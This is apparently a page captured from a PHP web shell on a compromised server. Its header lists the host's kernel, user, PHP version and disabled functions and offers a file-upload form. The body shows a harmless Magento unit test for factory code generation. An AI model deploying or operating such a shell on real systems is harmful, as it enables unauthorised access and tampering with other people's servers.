Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/framework/ObjectManager/Test/Unit/Code/Generator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/framework/ObjectManager/Test/Unit/Code/Generator/FactoryTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Framework\ObjectManager\Test\Unit\Code\Generator;

use Magento\Framework\Code\Generator\Io;
use Magento\Framework\ObjectManager\Code\Generator\Factory;
use Magento\Framework\ObjectManager\Code\Generator\Sample;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

class FactoryTest extends TestCase
{
    /**
     * @var Io|MockObject;
     */
    private $ioGenerator;

    /**
     * @inheritdoc
     */
    protected function setUp(): void
    {
        $this->ioGenerator = $this->getMockBuilder(Io::class)
            ->disableOriginalConstructor()
            ->getMock();
    }

    /**
     * Checks a test case when factory generator creates auto-generated factories.
     */
    public function testGenerate()
    {
        require_once __DIR__ . '/_files/Sample.php';

        /** @var Factory|MockObject $generator */
        $generator = $this->getMockBuilder(Factory::class)
            ->setMethods(['_validateData'])
            ->setConstructorArgs(
                [
                    Sample::class,
                    null,
                    $this->ioGenerator
                ]
            )
            ->getMock();

        $this->ioGenerator
            ->method('generateResultFileName')
            ->with('\\' . \Magento\Framework\ObjectManager\Code\Generator\SampleFactory::class)
            ->willReturn('sample_file.php');
        $factoryCode = file_get_contents(__DIR__ . '/_files/SampleFactory.txt');
        $this->ioGenerator->method('writeResultFile')
            ->with('sample_file.php', $factoryCode);

        $generator->method('_validateData')
            ->willReturn(true);
        $generated = $generator->generate();
        $this->assertEquals('sample_file.php', $generated);
    }
}

Spamworldpro Mini